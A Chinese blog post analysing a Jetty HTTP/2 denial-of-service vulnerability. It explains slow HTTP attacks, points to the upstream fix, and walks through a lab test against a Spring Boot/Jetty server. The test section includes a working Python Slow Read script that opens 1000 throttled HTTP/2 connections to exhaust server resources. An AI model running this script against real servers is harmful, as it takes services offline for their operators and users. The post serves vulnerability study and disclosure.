Jetty HTTP2.0 DoS漏洞分析

背景

Tomcat和Jetty都是被广泛用于项目的开源Servlet容器。本文不会阐述Tomcat和Jetty之间的区别,感兴趣的同学可以自行学习相关内容。

Jetty团队去年在github issues中爆出了一个可能被DoS攻击的中级漏洞。github.com/eclipse/jet…

大致是,在Jetty容器引用http2-server组件开启HTTP2.0功能后,同时开发者提供了使用HTTP2.0协议服务接口。访问非正常URL时,攻击者可以通过耗尽TCP滑动窗口或HTTP2.0流控来达到耗尽Jetty服务器资源,从而达到DoS攻击效果。噢吼,这不就是HTTP慢速攻击吗。下面我们先来介绍一下HTTP慢速攻击,再来分析Jetty有漏洞的源码,之后我们做个实验来验证一下这个漏洞。

HTTP慢速攻击

HTTP慢速攻击是应用层DoS攻击的一种。由Web安全专家RSnake在2009年提出的一种攻击方式,其原理是以极低速度向服务器发送HTTP请求,服务器有并发数限制。一旦这些恶意链接不释放,同时不停的创建新的恶意链接就会导致服务器资源被耗尽。

HTTP慢速攻击一共有3种

Slow Header攻击

Slow Header攻击利用HTTP 请求头设计。众所周知HTTP Header是文本信息。每个属性,比如Content-Type: text/plain都是由"\r\n"来进行分隔的。最后一个属性后面会拼接"\r\n\r\n"来告知服务器请求头已传输完毕,请处理我的请求。攻击者利用这个设计,永远不传"\r\n\r\n",同时,我们也知道HTTP服务器在没有接收到完整的请求头是不会处理请求的。这时,服务器就不得不一直维持着链接。一旦存在大量这种链接,就会导致服务器资源被耗尽。新的请求无法处理。

Slow POST攻击

攻击者将Content-Length设置为一个很大的值,但是却用非常慢的速度来发送数据。这就会导致服务器一直维护着链接,大量此类型连接就会导致服务器资源耗尽。

Slow Read攻击

利用TCP滑动窗口机制,攻击者将客户端内核读缓冲区设置的非常小。同时,用非常慢的速率将内核读缓冲区的数据拷贝到用户进程缓冲区。这时,服务器端就会收到客户端发来的ZeroWindow消息,让服务器端以为客户端非常忙碌无法处理发来的Response消息。服务器不得不维持着连接。大量此链接的存在就会导致服务器资源消耗殆尽。

漏洞源码

首先贴上Jetty团队修复漏洞的PR链接github.com/eclipse/jet…

这个漏洞存在HttpChannelOverHTTP2.java 的OnRequest和OnPush方法中(OnPush为HTTP2.0特有的服务端推送功能)。我们继续看看OnBadMessage是干什么的。为什么不返回NULL了,而是直接返回一个Runnable对象?

OnBadMessage是在处理请求时出现异常时,向客户端返回错误信息用的。OnBadMessage与OnRequest是在同一个线程上下文。一旦攻击者使用Slow Read来攻击,就会导致jetty的 worker selector线程被阻塞(jetty底层使用的是netty框架)。所以,为了防止阻塞worker线程,jetty团队直接返回一个Runnable对象将它丢到任务队列中,释放线程来处理新的请求。

实验

目前,大多数的HTTP慢速攻击工具,比如基于C++的slowhttptest都不支持HTTP2.0协议。没关系我们可以手搓一个。

注意!!!目前大多数支持HTTP2.0 协议的Servelt容器都要求配置TLS链接。在TLS握手的ALPN(应用协议协商)阶段,客户端和服务器端会达成使用哪种HTTP协议的约定。虽然HTTP2.0协议没有强制要求必须进行TLS握手,但是,使用Jetty HTTP2.0功能必须配置TLS。

攻击脚本

使用Python搓一个Slow Read攻击脚本, 使用h2 HTTP2.0客户端库

在此声明,工具仅提供研究漏洞使用。用于其他目的造成的影响,后果自负,作者概不负责

 

ini

复制代码

import socket import ssl import time import h2.connection import h2.events from concurrent.futures import ThreadPoolExecutor def attack(ip: str, port: int, url: str): try: # 设置TLS ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.set_alpn_protocols(['h2']) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 将内核读缓冲区设置为128bytes s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 128) s.settimeout(1200) s = ctx.wrap_socket(s, server_hostname=ip) s.connect((ip, port)) # 设置HTTP2.0 c = h2.connection.H2Connection() c.initiate_connection() s.sendall(c.data_to_send()) except Exception as e: print(e) return # HTTP2.0请求头与HTTP/1稍有不同 headers = [ (':method', 'GET'), (':path', url), (':authority', ip), (':scheme', 'https'), ('keep-alive', 'timeout=5000, max=5000') ] c.send_headers(1, headers, end_stream=True) s.sendall(c.data_to_send()) resp_stream_end = False while not resp_stream_end: # 每次只从内核读缓冲区读取1byte data = s.recv(1) if not data: break events = c.receive_data(data) for event in events: if isinstance(event, h2.events.StreamEnded): resp_stream_end = True break # 每读一个字节,线程休眠15s time.sleep(15) c.close_connection() s.sendall(c.data_to_send()) s.close() if __name__ == '__main__': # 创建1000个发送invalid URL的连接 with ThreadPoolExecutor(max_workers=1000) as pool: for i in range(0, 1000): pool.submit(attack, ip, port, invalid_url)

服务器端

服务器端我们使用spring-boot-starter-web,排除Tomcat使用Jetty内嵌式容器。

 

xml

复制代码

<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <version>3.0.4</version> <exclusions> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-tomcat</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-jetty</artifactId> <version>2.6.6</version> </dependency> <dependency> <groupId>org.eclipse.jetty</groupId> <artifactId>jetty-alpn-conscrypt-server</artifactId> <version>9.4.15.v20190215</version> </dependency> <dependency> <groupId>org.eclipse.jetty.http2</groupId> <artifactId>http2-server</artifactId> <version>9.4.15.v20190215</version> </dependency> </dependencies>

配置文件中要开启TLS和http2功能

 

yaml

复制代码

ssl: key-store: classpath:cert.jks key-password: 123456 http2: enabled: true

随意写一个Controller类。

可以看到在没有攻击前,请求是正常的,而且协议使用的是h2, 也就是http2.0

攻击开始

通过wireshake抓包可以看到客户端向服务器端发送ZeroWindow 探针。Slow Read 攻击出现

攻击结束后,服务已经无法访问

此时通过lsof命令可以看到,jetty在DoS攻击后未能回收连接资源。文件句柄数为548,已经超过512的限制。已经无法再处理新的请求,只能重启服务。DoS攻击成功。

总结

漏洞出现的Jetty版本是9.4.46,理论上小于该版本的Jetty在使用HTTP2.0协议功能的时候都可能会受到DoS攻击。Jetty团队已修复该漏洞。所以,如果使用还在使用低版本Jetty的同学建议升级。

作者:CrabGeek
链接:https://juejin.cn/post/7233409321340715067

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值